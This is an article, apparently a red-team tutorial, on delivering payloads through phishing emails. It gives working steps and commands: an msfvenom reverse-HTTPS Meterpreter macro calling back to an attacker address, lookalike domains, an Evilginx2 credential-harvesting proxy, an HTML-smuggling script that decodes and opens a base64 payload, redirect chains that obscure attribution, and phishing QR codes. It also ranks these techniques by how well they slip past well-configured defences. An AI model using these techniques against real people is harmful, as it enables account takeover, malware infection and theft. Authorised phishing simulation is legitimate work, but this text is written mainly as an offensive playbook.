Understanding Payload Delivery Mechanisms in Phishing Campaigns

Effective payload delivery is the linchpin of any successful phishing campaign. When executed proficiently, it can bypass security measures and deliver malicious payloads seamlessly, thus compromising targeted systems. As a penetration tester or red team operator, understanding these mechanisms not only enhances your craft but also helps you expose potential vulnerabilities before a real threat actor can exploit them. This article will delve into the techniques and tools for delivering payloads through email attachments, web links, and more, focusing on approaches that can outsmart typical security protocols.

After reading, you’ll have a comprehensive understanding of crafting and delivering payloads in phishing simulations, enabling you to expose vulnerabilities effectively. You’ll learn to choose the best delivery method based on the target environment, making your engagements more realistic and impactful.

Prerequisites and Setup

Prowess in phishing depends significantly on having the right tools and environment. The first step involves setting up an infrastructure that can mimic legitimate sources. You’ll need access to certain tools and configurations:

GoPhish or a similar phishing framework: These tools help create and manage phishing campaigns efficiently. Install GoPhish using the following command:


curl -LO https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip

unzip gophish-v0.11.0-linux-64bit.zip

cd gophish/

./gophish

This will download and run GoPhish, a popular open-source phishing toolkit, allowing you to set up and launch your campaigns.

SMTP Server: You will need a SMTP server capable of sending emails that appear legitimate. Services like MailCatcher or any other SMTP relay services can be configured.
Domain and DNS configuration: Acquire domains that can convincingly imitate legitimate ones (e.g., support-mícrosoft.com). Ensure proper DNS setup to support emailing.
Content Generation Tools: To craft emails and payloads, tools like Social-Engineer Toolkit (SET) and Evilginx2 can be useful for building credible content.

Step-by-Step Execution

Leveraging Email Attachments

Prepare a Malicious Document: Create an Office document with a malicious macro. This can be achieved using tools like MSFvenom.
Embed the Payload: Use the following command to embed a payload into a Word document:


msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.10 LPORT=443 -f vba-psh > payload.vba

This command generates a VBA script for a reverse HTTPS Meterpreter shell which can be embedded in Word.

Configure the Macro: Open a new or existing document in Word, access the VBA editor, and paste the generated code in a macro enabled document.
Disguise Intention: Draft an email subject and body to encourage the opening of the document, e.g., “Urgent: Action Required on Your Account Update”.
Send as an Attachment: Use an SMTP server to send the document as part of a phishing email.

Phishing Links with Tracking

Set Up a Phishing Landing Page: Using Evilginx2, set up a proxy page that mimics a login portal. Evilginx2 can capture credentials while displaying the legitimate website content to the user.
Create the Link: Use a domain that matches or closely mirrors the legitimate one. For example, signin-securely.microsoft.com.fake-domain.com.
Embed in Email: Embed the URL with enticing call-to-action, such as “Verify Your Account to Avoid De-activation.”


sudo ./evilginx -p phishlets/phishlet-name.yaml

This command starts Evilginx2 with the specified phishlet, setting up a fake phishing site ready to collect credentials.

Email Tracking: Use tracking pixels to determine if emails were opened.

HTML Smuggling Techniques

Create an HTML Page: Design a seemingly harmless HTML page that smuggles JavaScript payloads.
Embed the JavaScript: Use

Blob

and

createObjectURL

functions in JavaScript to deliver the payload when the HTML page is accessed.
Encourage Interaction: Design the HTML in a way that requires the user to click or download something, triggering the payload execution.


&lt;script&gt;

var payload = new Blob([atob('base64 of your payload script')], { type: 'application/javascript'});

var url = URL.createObjectURL(payload);

window.open(url);

&lt;/script&gt;

This script turns a base64-encoded payload into a downloadable script through the user’s browser.

Advanced Variations

Redirect Chains: Establish multiple redirect layers through compromised sites to obscure the origin of the payload. This increases the complexity for tracking the source.


&lt;a href="http://redirect.com?site1=http://anotherredirect.com?site2=http://finaldestination.com"&gt;Click Here&lt;/a&gt;

This URL chain utilizes multiple redirects to confuse attribution and make detection harder.

Using QR Codes: Convert URLs to QR codes, enticing mobile users to scan them and access phishing sites without realization.


qrencode -o payload.png 'http://phishing-site.example.com'

This command generates a QR code for the specified phishing URL, which can be embedded in emails or flyers.

Weaponized PDFs: Embed JavaScript-based payloads within PDFs using toolkits like PDF Generator, targeting popular PDF readers.

Good / Better / Best

Good: Send payloads as basic attachments — effective for uninformed users but easily filtered.
Better: Conceal the payload in macro-enabled documents, raising success rates against users not following basic email hygiene.
Best: Engage advanced techniques like HTML smuggling and multi-layer redirects, seamlessly weaving into the target’s workflow and environment, managing to bypass well-configured defenses detecting anomalies.

Related Concepts

Payload delivery in phishing often intertwines with social engineering tactics, which aim to manipulate users into executing actions that lead to payload deployment. Understanding human factors, such as creating urgency or instilling trust, is key to improving your phishing campaign’s convincing power. Other related practices include bypass techniques that enhance your payload’s ability to avoid detection from email filters and antivirus solutions, ensuring higher success rates in your engagements.

References

Diary of a Ransomware Victim, SANS Internet Storm Center

Phishing Techniques, Phishing.org

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